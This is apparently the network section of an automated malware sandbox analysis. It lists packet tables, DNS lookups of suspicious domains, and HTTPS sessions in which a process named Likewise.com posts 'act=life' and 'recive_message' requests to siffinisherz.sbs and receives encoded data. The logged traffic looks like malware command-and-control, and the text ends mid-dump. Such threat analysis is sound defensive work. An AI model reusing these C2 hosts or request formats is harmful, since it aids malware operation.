Jan 6, 2025 15:47:48.860728979 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.860743999 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.860788107 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.860793114 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.860961914 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.863512039 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.944993019 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.945010900 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.945079088 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.945094109 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.945194960 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.945214033 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.945245028 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.945250988 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.945272923 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.945291996 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.945477009 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.945497990 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.945549011 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.945554972 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.945756912 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.945774078 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.945804119 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.945807934 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.945831060 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.945853949 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.945967913 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.945983887 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.946024895 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.946032047 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.946424007 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.946441889 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.946499109 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.946512938 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.946552992 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.946559906 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.946954966 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.946973085 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.947000980 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.947006941 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.947036028 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.947050095 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.947745085 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.947758913 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.947803020 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.947808981 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:48.950254917 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:48.951211929 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.032145023 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.032167912 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.032243013 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.032283068 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.032300949 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.032324076 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.032340050 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.032366037 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.032593966 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.032618999 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.032648087 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.032655954 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.032676935 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.032919884 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.032938004 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.032972097 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.032978058 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.033003092 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.033066034 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.033080101 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.033124924 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.033132076 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.033382893 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.033400059 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.033437967 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.033443928 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.033458948 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.033915043 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.033927917 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.033977032 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.033983946 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.034579039 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.034596920 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.034642935 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.034651041 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.034667015 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.037875891 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.040321112 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.118835926 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.118858099 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.118963957 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.118987083 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.119024992 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.119067907 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.119086981 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.119122028 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.119128942 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.119148016 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.119173050 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.119340897 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.119359970 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.119393110 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.119398117 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.119431973 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.119446993 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.119591951 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.119618893 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.119643927 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.119649887 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.119676113 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.119694948 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.120074987 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.120100021 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.120124102 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.120129108 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.120161057 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.120174885 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.120250940 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.120266914 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.120304108 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.120310068 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.120336056 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.120358944 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.120647907 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.120662928 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.120696068 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.120702028 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.120726109 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.120745897 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.121505976 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.121519089 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.121572971 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.121579885 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.123708963 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.123831034 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.205763102 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.205782890 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.205854893 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.205866098 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.205905914 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.205920935 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.205935955 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.205984116 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.205991030 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.206176043 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.206196070 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.206219912 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.206228018 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.206250906 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.206279993 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.206435919 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.206449986 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.206492901 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.206499100 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.206731081 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.206793070 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.206798077 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.206820965 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.206870079 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.206875086 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.206907988 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.207743883 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.207761049 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.207802057 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.207812071 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.207837105 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.207845926 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.207945108 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.207962036 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.207998991 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.208003998 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.208270073 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.208518982 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.208534002 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.208564997 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.208570957 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.208590984 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.208614111 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.211572886 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.292706013 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.292731047 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.292810917 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.292830944 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.292944908 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.292964935 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.293008089 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.293015003 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.293032885 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.293061018 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.293109894 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.293123007 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.293150902 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.293159962 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.293173075 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.293174028 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.293186903 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.293191910 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.293231964 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.293237925 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.293252945 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.293297052 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.316621065 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.316657066 CET	443	49746	172.67.208.58	192.168.2.4
Jan 6, 2025 15:47:49.316678047 CET	49746	443	192.168.2.4	172.67.208.58
Jan 6, 2025 15:47:49.316684961 CET	443	49746	172.67.208.58	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 6, 2025 15:47:03.364037037 CET	61911	53	192.168.2.4	1.1.1.1
Jan 6, 2025 15:47:03.373343945 CET	53	61911	1.1.1.1	192.168.2.4
Jan 6, 2025 15:47:31.416795015 CET	55990	53	192.168.2.4	1.1.1.1
Jan 6, 2025 15:47:31.430924892 CET	53	55990	1.1.1.1	192.168.2.4
Jan 6, 2025 15:47:41.207827091 CET	58357	53	192.168.2.4	1.1.1.1
Jan 6, 2025 15:47:41.315610886 CET	53	58357	1.1.1.1	192.168.2.4
Jan 6, 2025 15:47:42.442565918 CET	61753	53	192.168.2.4	1.1.1.1
Jan 6, 2025 15:47:42.457802057 CET	53	61753	1.1.1.1	192.168.2.4
Jan 6, 2025 15:47:43.434884071 CET	62762	53	192.168.2.4	1.1.1.1
Jan 6, 2025 15:47:43.444685936 CET	53	62762	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 6, 2025 15:47:03.364037037 CET	192.168.2.4	1.1.1.1	0x59b0	Standard query (0)	TMrpvriLnIKTuysIDWwGP.TMrpvriLnIKTuysIDWwGP	A (IP address)	IN (0x0001)	false
Jan 6, 2025 15:47:31.416795015 CET	192.168.2.4	1.1.1.1	0x1948	Standard query (0)	siffinisherz.sbs	A (IP address)	IN (0x0001)	false
Jan 6, 2025 15:47:41.207827091 CET	192.168.2.4	1.1.1.1	0x86ca	Standard query (0)	cegu.shop	A (IP address)	IN (0x0001)	false
Jan 6, 2025 15:47:42.442565918 CET	192.168.2.4	1.1.1.1	0xabf	Standard query (0)	klipvumisui.shop	A (IP address)	IN (0x0001)	false
Jan 6, 2025 15:47:43.434884071 CET	192.168.2.4	1.1.1.1	0x4077	Standard query (0)	dfgh.online	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 6, 2025 15:47:03.373343945 CET	1.1.1.1	192.168.2.4	0x59b0	Name error (3)	TMrpvriLnIKTuysIDWwGP.TMrpvriLnIKTuysIDWwGP	none	none	A (IP address)	IN (0x0001)	false
Jan 6, 2025 15:47:31.430924892 CET	1.1.1.1	192.168.2.4	0x1948	No error (0)	siffinisherz.sbs		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 6, 2025 15:47:31.430924892 CET	1.1.1.1	192.168.2.4	0x1948	No error (0)	siffinisherz.sbs		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 6, 2025 15:47:31.430924892 CET	1.1.1.1	192.168.2.4	0x1948	No error (0)	siffinisherz.sbs		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 6, 2025 15:47:31.430924892 CET	1.1.1.1	192.168.2.4	0x1948	No error (0)	siffinisherz.sbs		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 6, 2025 15:47:31.430924892 CET	1.1.1.1	192.168.2.4	0x1948	No error (0)	siffinisherz.sbs		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 6, 2025 15:47:31.430924892 CET	1.1.1.1	192.168.2.4	0x1948	No error (0)	siffinisherz.sbs		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 6, 2025 15:47:31.430924892 CET	1.1.1.1	192.168.2.4	0x1948	No error (0)	siffinisherz.sbs		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 6, 2025 15:47:41.315610886 CET	1.1.1.1	192.168.2.4	0x86ca	No error (0)	cegu.shop		185.161.251.21	A (IP address)	IN (0x0001)	false
Jan 6, 2025 15:47:42.457802057 CET	1.1.1.1	192.168.2.4	0xabf	No error (0)	klipvumisui.shop		172.67.208.58	A (IP address)	IN (0x0001)	false
Jan 6, 2025 15:47:42.457802057 CET	1.1.1.1	192.168.2.4	0xabf	No error (0)	klipvumisui.shop		104.21.37.128	A (IP address)	IN (0x0001)	false
Jan 6, 2025 15:47:43.444685936 CET	1.1.1.1	192.168.2.4	0x4077	Name error (3)	dfgh.online	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

siffinisherz.sbs

cegu.shop

klipvumisui.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49737	104.21.96.1	443	7648	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com

Timestamp	Bytes transferred	Direction	Data
2025-01-06 14:47:31 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: siffinisherz.sbs
2025-01-06 14:47:31 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-01-06 14:47:32 UTC	1123	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 14:47:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=94lg33fu93845hkhfoohc2mvur; expires=Fri, 02 May 2025 08:34:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pimWoLm8xIpaWTQ8R%2F8qh796YSMLpKaXJnJnrPTKRqeqX%2Bd1WnSxzbRF6YiEFCfdE4toX%2BmTpJgcJxOTe3ISkarRW3g0FCvUHB%2B9cLAEctNYBtOSGAcN12pSprHTd8qYR9K3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdc80f90d3d4363-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1583&min_rtt=1577&rtt_var=603&sent=7&recv=8&lost=0&retrans=0&sent_bytes=3050&recv_bytes=907&delivery_rate=2693726&cwnd=239&unsent_bytes=0&cid=286bd0c5ebef3bb6&ts=482&x=0"
2025-01-06 14:47:32 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-01-06 14:47:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	104.21.96.1	443	7648	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\180180\Likewise.com

Timestamp	Bytes transferred	Direction	Data
2025-01-06 14:47:32 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 80 Host: siffinisherz.sbs
2025-01-06 14:47:32 UTC	80	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 6a 4d 77 31 49 45 2d 2d 70 73 79 63 68 65 26 6a 3d 61 61 37 37 65 37 38 62 36 62 30 64 64 31 62 32 32 32 36 65 37 62 37 39 39 35 33 32 61 62 33 61 Data Ascii: act=recive_message&ver=4.0&lid=jMw1IE--psyche&j=aa77e78b6b0dd1b2226e7b799532ab3a
2025-01-06 14:47:33 UTC	1125	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 14:47:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=05gkmhup619fbjkrbhfuo4lprs; expires=Fri, 02 May 2025 08:34:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JgNJ8Qx8xGBuUlQo9t3NiGOfqew%2BPGcGwL7013sj48f5Px8vYtb%2BHFieNnMYOexirX2dUAO7PiKQu6iY%2FV9mJkdt%2BL8O41qlDOyH3NwhieM1xpJy%2FScZrlcA3euuEIhbfKYP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdc80ff4fe0de9a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7915&min_rtt=4885&rtt_var=3996&sent=5&recv=6&lost=0&retrans=0&sent_bytes=3051&recv_bytes=980&delivery_rate=896622&cwnd=210&unsent_bytes=0&cid=69f16ab55d845d2d&ts=514&x=0"
2025-01-06 14:47:33 UTC	244	IN	Data Raw: 34 65 61 30 0d 0a 48 36 6a 51 33 6d 68 6a 61 56 43 49 36 45 4b 74 54 47 32 50 43 52 38 57 54 6b 30 76 4d 31 57 49 58 4c 31 6e 35 38 59 4a 5a 53 5a 6b 69 71 62 38 55 6c 64 46 63 76 75 4e 59 4a 63 71 44 4f 4e 36 65 6a 70 73 4c 45 73 52 62 2b 34 39 30 52 53 43 36 69 73 54 53 7a 32 53 74 72 38 45 45 41 78 38 71 6f 30 36 6a 33 59 32 39 43 74 36 65 47 78 33 44 56 59 2f 36 6a 33 52 42 59 61 74 5a 68 56 4b 66 4d 43 38 75 51 41 47 43 6a 54 70 68 43 2f 49 4b 51 6a 75 59 33 46 2f 49 79 56 43 45 58 6d 71 4f 63 64 46 33 65 52 45 41 46 4a 2b 35 62 47 74 41 30 45 55 66 50 50 4b 4a 38 4e 75 56 36 31 6f 65 6e 51 69 4b 30 74 59 50 65 41 30 32 51 53 44 72 48 6b 4d 51 48 66 41 73 72 6f 42 44 41 4d 67 35 49 34 6f 77 79 38 43 37 69 73 7a 4e 43 Data Ascii: 4ea0H6jQ3mhjaVCI6EKtTG2PCR8WTk0vM1WIXL1n58YJZSZkiqb8UldFcvuNYJcqDON6ejpsLEsRb+490RSC6isTSz2Str8EEAx8qo06j3Y29Ct6eGx3DVY/6j3RBYatZhVKfMC8uQAGCjTphC/IKQjuY3F/IyVCEXmqOcdF3eREAFJ+5bGtA0EUfPPKJ8NuV61oenQiK0tYPeA02QSDrHkMQHfAsroBDAMg5I4owy8C7iszNC
2025-01-06 14:47:33 UTC	1369	IN	Data Raw: 73 33 44 51 6c 33 75 51 7a 63 46 4a 53 78 5a 68 64 43 50 64 58 38 70 55 6f 47 42 33 4b 79 79 69 6a 44 49 41 72 75 5a 48 70 31 4c 44 31 43 55 54 54 69 4e 74 73 50 69 71 74 6b 43 55 35 36 77 72 75 37 42 51 59 44 4e 4f 57 4a 59 49 46 75 43 50 55 72 4a 54 51 4d 50 30 35 53 49 2b 63 76 6e 78 72 4c 76 53 73 41 53 44 32 53 38 72 6f 45 41 41 59 79 2b 49 49 72 78 43 73 64 35 6d 4a 77 65 53 77 69 52 31 34 30 36 6a 6e 56 44 34 71 75 62 77 70 4a 65 38 71 79 2f 45 52 42 44 43 71 71 30 6d 44 73 4b 78 2f 71 5a 32 73 32 46 6d 39 53 48 79 36 71 4f 64 4e 46 33 65 52 6a 41 6b 64 2b 77 62 32 2f 41 67 6f 5a 4d 76 69 4d 4c 63 6f 38 43 65 68 6c 64 33 63 2b 4a 55 4e 58 4e 4f 4d 31 31 67 43 43 6f 43 74 4a 42 48 72 53 38 75 52 4b 49 41 59 35 35 6f 41 33 7a 32 34 51 6f 33 49 39 63 Data Ascii: 